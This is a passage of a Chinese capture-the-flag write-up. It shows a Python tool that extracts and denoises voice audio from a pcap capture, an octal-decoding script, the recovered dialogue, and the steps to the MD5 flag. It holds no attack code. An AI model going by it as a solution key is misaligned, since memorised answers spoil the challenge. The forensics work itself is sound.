540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
import os
import subprocess
import tempfile
import glob
from scapy.all import *
import wave
import struct
import numpy as np
from scipy import signal

class PCAPAudioExtractor:
def __init__(self, enhance_audio=True):
self.temp_dir = tempfile.mkdtemp()
self.extracted_files = []
self.enhance_audio = enhance_audio

# 硬编码 tshark 路径
self.tshark_paths = [
r"D:\\study\\ctf\\misc\\tool\\Wireshark\\Wireshark\\tshark.exe"
]
self.tshark_path = self._find_tshark()

# 检查音频增强依赖
if enhance_audio:
self._check_enhance_dependencies()

def _find_tshark(self):
"""查找 tshark 可执行文件"""
for path in self.tshark_paths:
if os.path.exists(path):
print(f"找到 tshark: {path}")
return path
print("警告: 未找到 tshark,将跳过 RTP 流提取")
return None

def _check_enhance_dependencies(self):
"""检查音频增强所需的依赖"""
try:
import numpy as np
from scipy import signal
self.have_enhance_deps = True
print("音频增强依赖已安装")
except ImportError as e:
self.have_enhance_deps = False
print(f"警告: 音频增强依赖未安装: {e}")
print("将跳过音频增强步骤")

def __del__(self):
# 清理临时文件
for f in glob.glob(os.path.join(self.temp_dir, "*")):
try:
os.remove(f)
except:
pass
try:
os.rmdir(self.temp_dir)
except:
pass

def extract_all_audio(self, pcap_file, output_dir="extracted_audio"):
"""
全自动提取pcap文件中的所有音频
"""
print(f"开始分析pcap文件: {pcap_file}")

# 创建输出目录
os.makedirs(output_dir, exist_ok=True)

# 方法1: 尝试提取RTP音频流
rtp_files = self._extract_rtp_audio(pcap_file, output_dir)
self.extracted_files.extend(rtp_files)

# 方法2: 尝试提取UDP音频流
udp_files = self._extract_udp_audio(pcap_file, output_dir)
self.extracted_files.extend(udp_files)

# 方法3: 尝试提取TCP音频流
tcp_files = self._extract_tcp_audio(pcap_file, output_dir)
self.extracted_files.extend(tcp_files)

# 方法4: 尝试提取原始音频数据
raw_files = self._extract_raw_audio(pcap_file, output_dir)
self.extracted_files.extend(raw_files)

# 音频增强
if self.enhance_audio and self.have_enhance_deps and self.extracted_files:
print("\n=== 开始音频增强 ===")
enhanced_files = self._enhance_all_audio(output_dir)
self.extracted_files.extend(enhanced_files)

# 总结结果
self._print_summary()

return self.extracted_files

def _extract_rtp_audio(self, pcap_file, output_dir):
"""提取RTP音频流"""
print("\n=== 尝试提取RTP音频流 ===")
extracted_files = []

# 检查是否有tshark可用
if not self.tshark_path:
print("未找到tshark,跳过RTP提取")
return extracted_files

try:
# 获取所有RTP流
cmd = [self.tshark_path, '-r', pcap_file, '-Y', 'rtp', '-T', 'fields', '-e', 'rtp.ssrc', '-e', 'udp.dstport']
result = subprocess.run(cmd, capture_output=True, text=True)

if result.returncode != 0:
print("tshark执行失败")
return extracted_files

# 解析RTP流
streams = {}
for line in result.stdout.split('\n'):
if line.strip():
parts = line.split('\t')
if len(parts) >= 2:
ssrc, port = parts[0], parts[1]
if ssrc and port:
streams[ssrc] = port

print(f"发现 {len(streams)} 个RTP流")

# 提取每个RTP流
for i, (ssrc, port) in enumerate(streams.items()):
print(f"处理RTP流 {i+1}: SSRC={ssrc}, 端口={port}")

# 提取RTP载荷
raw_file = os.path.join(self.temp_dir, f"rtp_{ssrc}.raw")
cmd = [self.tshark_path, '-r', pcap_file, '-Y', f'rtp.ssrc=={ssrc}', '-T', 'fields', '-e', 'rtp.payload']
result = subprocess.run(cmd, capture_output=True, text=True)

if result.returncode == 0 and result.stdout.strip():
# 处理十六进制载荷
hex_data = result.stdout.replace(':', '').replace('\n', '')
try:
raw_data = bytes.fromhex(hex_data)
with open(raw_file, 'wb') as f:
f.write(raw_data)

# 尝试转换为WAV
wav_files = self._try_convert_to_wav(raw_file, output_dir, f"rtp_stream_{i+1}")
extracted_files.extend(wav_files)
except ValueError as e:
print(f"处理RTP载荷失败: {e}")

except Exception as e:
print(f"提取RTP流时出错: {e}")

return extracted_files

def _extract_udp_audio(self, pcap_file, output_dir):
"""提取UDP音频流"""
print("\n=== 尝试提取UDP音频流 ===")
extracted_files = []

try:
# 使用scapy读取pcap文件
packets = rdpcap(pcap_file)

# 按UDP端口分组
udp_streams = {}
for packet in packets:
if packet.haslayer(UDP):
udp = packet[UDP]
port = udp.dport

if port not in udp_streams:
udp_streams[port] = []

# 获取UDP载荷
payload = bytes(udp.payload)
if payload:
udp_streams[port].append(payload)

print(f"发现 {len(udp_streams)} 个UDP端口")

# 处理每个UDP流
for i, (port, payloads) in enumerate(udp_streams.items()):
if len(payloads) < 10: # 太少的包可能不是音频流
continue

print(f"处理UDP端口 {port}: {len(payloads)} 个数据包")

# 合并载荷
raw_data = b''.join(payloads)

# 保存原始数据
raw_file = os.path.join(self.temp_dir, f"udp_{port}.raw")
with open(raw_file, 'wb') as f:
f.write(raw_data)

# 尝试转换为WAV
wav_files = self._try_convert_to_wav(raw_file, output_dir, f"udp_port_{port}")
extracted_files.extend(wav_files)

except Exception as e:
print(f"提取UDP流时出错: {e}")

return extracted_files

def _extract_tcp_audio(self, pcap_file, output_dir):
"""提取TCP音频流"""
print("\n=== 尝试提取TCP音频流 ===")
extracted_files = []

try:
# 使用scapy读取pcap文件
packets = rdpcap(pcap_file)

# 按TCP流分组
tcp_streams = {}
for packet in packets:
if packet.haslayer(TCP) and packet.haslayer(Raw):
tcp = packet[TCP]
stream_key = f"{packet[IP].src}:{packet[IP].dst}:{tcp.sport}:{tcp.dport}"

if stream_key not in tcp_streams:
tcp_streams[stream_key] = []

# 获取TCP载荷
payload = bytes(tcp.payload)
if payload:
tcp_streams[stream_key].append(payload)

print(f"发现 {len(tcp_streams)} 个TCP流")

# 处理每个TCP流
for i, (stream_key, payloads) in enumerate(tcp_streams.items()):
if len(payloads) < 10: # 太少的包可能不是音频流
continue

print(f"处理TCP流 {i+1}: {stream_key}")

# 合并载荷
raw_data = b''.join(payloads)

# 保存原始数据
raw_file = os.path.join(self.temp_dir, f"tcp_{i}.raw")
with open(raw_file, 'wb') as f:
f.write(raw_data)

# 尝试转换为WAV
wav_files = self._try_convert_to_wav(raw_file, output_dir, f"tcp_stream_{i+1}")
extracted_files.extend(wav_files)

except Exception as e:
print(f"提取TCP流时出错: {e}")

return extracted_files

def _extract_raw_audio(self, pcap_file, output_dir):
"""尝试提取原始音频数据"""
print("\n=== 尝试提取原始音频数据 ===")
extracted_files = []

try:
# 使用scapy读取所有可能的载荷
packets = rdpcap(pcap_file)

# 收集所有可能的载荷
all_payloads = []
for packet in packets:
if packet.haslayer(Raw):
payload = bytes(packet[Raw])
if len(payload) > 100: # 只处理较大的载荷
all_payloads.append(payload)

if all_payloads:
# 合并所有载荷
raw_data = b''.join(all_payloads)

# 保存为临时文件
raw_file = os.path.join(self.temp_dir, "raw_pcap.bin")
with open(raw_file, 'wb') as f:
f.write(raw_data)

# 尝试转换为WAV
wav_files = self._try_convert_to_wav(raw_file, output_dir, "raw_pcap_data")
extracted_files.extend(wav_files)

except Exception as e:
print(f"提取原始数据时出错: {e}")

return extracted_files

def _try_convert_to_wav(self, raw_file, output_dir, base_name):
"""尝试使用多种编码格式将原始文件转换为WAV"""
converted_files = []

# 检查文件大小
if not os.path.exists(raw_file) or os.path.getsize(raw_file) < 1000: # 太小可能不是音频
return converted_files

# 常见的音频格式和参数组合
formats_to_try = [
# (格式, 采样率, 声道数, 描述)
('mulaw', 8000, 1, 'G.711_μ-law_8kHz_mono'),
('alaw', 8000, 1, 'G.711_A-law_8kHz_mono'),
('mulaw', 16000, 1, 'G.711_μ-law_16kHz_mono'),
('alaw', 16000, 1, 'G.711_A-law_16kHz_mono'),
('s16le', 8000, 1, 'PCM_16bit_8kHz_mono'),
('s16le', 16000, 1, 'PCM_16bit_16kHz_mono'),
('s16le', 44100, 1, 'PCM_16bit_44.1kHz_mono'),
('s16le', 48000, 1, 'PCM_16bit_48kHz_mono'),
]

# 检查ffmpeg是否可用
if not self._check_ffmpeg():
print("未找到ffmpeg,无法转换音频格式")
return converted_files

# 尝试每种格式
for fmt, rate, channels, desc in formats_to_try:
output_file = os.path.join(output_dir, f"{base_name}_{desc}.wav")

try:
cmd = [
'ffmpeg', '-y', # -y 覆盖已存在文件
'-f', fmt,
'-ar', str(rate),
'-ac', str(channels),
'-i', raw_file,
output_file
]

# 运行ffmpeg
result = subprocess.run(cmd, capture_output=True, timeout=10)

# 检查是否成功生成文件且文件大小合理
if (result.returncode == 0 and
os.path.exists(output_file) and
os.path.getsize(output_file) > 1024): # 至少1KB

# 验证WAV文件
if self._validate_wav_file(output_file):
print(f" ✓ 成功转换: {desc}")
converted_files.append(output_file)
# 成功一个就停止,避免重复转换
break
else:
# 删除无效文件
os.remove(output_file)
else:
# 删除可能创建的无效文件
if os.path.exists(output_file):
os.remove(output_file)

except (subprocess.TimeoutExpired, Exception) as e:
# 删除可能创建的无效文件
if os.path.exists(output_file):
os.remove(output_file)

return converted_files

def _validate_wav_file(self, wav_file):
"""验证WAV文件是否有效"""
try:
with wave.open(wav_file, 'rb') as wav:
# 检查基本参数
frames = wav.getnframes()
rate = wav.getframerate()
channels = wav.getnchannels()

# 如果帧数太少,可能不是有效音频
if frames < 100:
return False

# 尝试读取一些数据
data = wav.readframes(min(1000, frames))
if len(data) == 0:
return False

return True
except:
return False

def _check_ffmpeg(self):
"""检查ffmpeg是否可用"""
try:
subprocess.run(['ffmpeg', '-version'], capture_output=True)
return True
except:
return False

def _enhance_all_audio(self, output_dir):
"""增强所有提取的音频文件"""
enhanced_files = []

# 获取所有WAV文件
wav_files = [f for f in self.extracted_files if f.endswith('.wav')]

if not wav_files:
print("没有找到WAV文件进行增强")
return enhanced_files

print(f"将对 {len(wav_files)} 个音频文件进行增强")

for wav_file in wav_files:
try:
enhanced_file = self._enhance_single_audio(wav_file)
if enhanced_file:
enhanced_files.append(enhanced_file)
print(f" ✓ 增强完成: {os.path.basename(enhanced_file)}")
except Exception as e:
print(f" ✗ 增强失败 {os.path.basename(wav_file)}: {e}")

return enhanced_files

def _enhance_single_audio(self, input_file):
"""增强单个音频文件"""
if not self.have_enhance_deps:
return None

try:
# 读取WAV文件
with wave.open(input_file, 'rb') as wf:
nch = wf.getnchannels()
sw = wf.getsampwidth()
sr = wf.getframerate()
n_frames = wf.getnframes()
data = wf.readframes(n_frames)

# 只处理16位PCM
if sw != 2:
print(f" [!] 跳过非16位PCM文件: {os.path.basename(input_file)}")
return None

# 转换为numpy数组
audio_int16 = np.frombuffer(data, dtype=np.int16)
audio_float32 = audio_int16.astype(np.float32)

# 如果是立体声,转换为单声道
if nch == 2:
audio_float32 = audio_float32.reshape(-1, 2)
audio_float32 = np.mean(audio_float32, axis=1)

# 1. 去除DC偏移并归一化
audio_float32 = audio_float32 - np.mean(audio_float32)
audio_float32 = audio_float32 / 32768.0

# 2. 应用语音频段滤波器 (300-3400Hz)
nyquist = sr / 2.0
low = 300.0 / nyquist
high = 3400.0 / nyquist

if high > low:
b, a = signal.butter(4, [low, high], btype='band')
audio_float32 = signal.filtfilt(b, a, audio_float32)

# 3. 频域噪声门
# 使用简单的STFT降噪
f, t, Zxx = signal.stft(audio_float32, fs=sr, nperseg=256, noverlap=128, boundary=None)
magnitude = np.abs(Zxx)

# 估计噪声基底
noise_floor = np.median(magnitude, axis=1, keepdims=True)
threshold = noise_floor * 1.5

# 应用噪声门
gain_mask = np.where(magnitude >= threshold, 1.0, 0.25)
Zxx_denoised = Zxx * gain_mask

# 逆STFT
_, audio_float32 = signal.istft(Zxx_denoised, fs=sr, nperseg=256, noverlap=128, boundary=None)

# 确保长度一致
if len(audio_float32) > len(audio_float32):
audio_float32 = audio_float32[:len(audio_float32)]
elif len(audio_float32) < len(audio_float32):
audio_float32 = np.pad(audio_float32, (0, len(audio_float32) - len(audio_float32)))

# 4. 应用增益
audio_float32 = audio_float32 * 30.0 # 30倍增益

# 5. 软限制器防止削波
abs_signal = np.abs(audio_float32)
signal_sign = np.sign(audio_float32)

above_threshold = abs_signal > 0.8
processed_magnitude = abs_signal.copy()
processed_magnitude[above_threshold] = 0.8 + (abs_signal[above_threshold] - 0.8) / 6.0

audio_float32 = signal_sign * processed_magnitude

# 6. 最终裁剪到[-1.0, 1.0]
audio_float32 = np.clip(audio_float32, -1.0, 1.0)

# 转换回16位整数
audio_int16 = (audio_float32 * 32767.0).astype(np.int16)

# 创建输出文件名
base_name = os.path.splitext(input_file)[0]
enhanced_file = f"{base_name}_enhanced.wav"

# 保存增强后的文件
with wave.open(enhanced_file, 'wb') as wf:
wf.setnchannels(1) # 输出为单声道
wf.setsampwidth(2) # 16位
wf.setframerate(sr)
wf.writeframes(audio_int16.tobytes())

return enhanced_file

except Exception as e:
print(f"增强音频时出错: {e}")
return None

def _print_summary(self):
"""打印提取结果摘要"""
print("\n" + "="*50)
print("提取结果摘要")
print("="*50)

if not self.extracted_files:
print("未找到任何音频文件")
return

# 分类统计
original_files = [f for f in self.extracted_files if not f.endswith('_enhanced.wav')]
enhanced_files = [f for f in self.extracted_files if f.endswith('_enhanced.wav')]

print(f"成功提取 {len(original_files)} 个原始音频文件:")
for i, file_path in enumerate(original_files, 1):
file_size = os.path.getsize(file_path)
print(f" {i}. {os.path.basename(file_path)} ({file_size} 字节)")

if enhanced_files:
print(f"\n成功生成 {len(enhanced_files)} 个增强音频文件:")
for i, file_path in enumerate(enhanced_files, 1):
file_size = os.path.getsize(file_path)
print(f" {i}. {os.path.basename(file_path)} ({file_size} 字节)")

print(f"\n所有文件已保存到: {os.path.dirname(self.extracted_files[0])}")


# 使用示例
if __name__ == "__main__":
import sys

if len(sys.argv) < 2:
print("用法: python audio_extractor.py <pcap文件> [输出目录] [是否增强音频]")
print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio")
print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio false (不增强音频)")
sys.exit(1)

pcap_file = sys.argv[1]
output_dir = sys.argv[2] if len(sys.argv) > 2 else "extracted_audio"

# 默认启用音频增强
enhance_audio = True
if len(sys.argv) > 3 and sys.argv[3].lower() in ['false', '0', 'no']:
enhance_audio = False

if not os.path.exists(pcap_file):
print(f"错误: 文件 '{pcap_file}' 不存在")
sys.exit(1)

extractor = PCAPAudioExtractor(enhance_audio=enhance_audio)
extracted_files = extractor.extract_all_audio(pcap_file, output_dir)

还是可以提取出来的,不过速度有点感人:

image-20251101181320898

里面可以听到一串数字:

651466314514271616614214660701456661601411451426071146666014214371656514214470

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
octal_string = "651466314514271616614214660701456661601411451426071146666014214371656514214470"
result_list = []
current_index = 0

while current_index < len(octal_string):
# Try 3-digit octal conversion
if current_index + 3 <= len(octal_string):
three_digit_string = octal_string[current_index:current_index + 3]
try:
three_digit_number = int(three_digit_string, 8)
if 32 <= three_digit_number <= 127:
result_list.append(chr(three_digit_number))
current_index += 3
continue
except ValueError:
pass # If conversion fails, try 2-digit

# Try 2-digit octal conversion
if current_index + 2 <= len(octal_string):
two_digit_string = octal_string[current_index:current_index + 2]
try:
two_digit_number = int(two_digit_string, 8)
if 32 <= two_digit_number <= 127:
result_list.append(chr(two_digit_number))
current_index += 2
continue
except ValueError:
pass # If conversion fails, skip

# If neither works, skip the current character
current_index += 1

decoded_result = ''.join(result_list)
print(decoded_result)

解密压缩包,听音频内容:

1
2
3
4
5
6
7
8
9
粤语:一切安好,我会按照要求准备好抽查,我该送到何地?

国语:送至双里湖西岸南山茶铺,左边第二个橱柜,勿放错

粤语:我已知悉,你在那边可还安好?

国语:一切安好,希望你我二人早日相见。

粤语:指日可待。茶叶送到了,但是晚了时日,茶铺看来只能另寻良辰吉日了。你在那边,千万保重

上网搜索对应事件找到了 1949年10月24日8时45分于双鲤湖西岸南山茶铺

md5后得到flag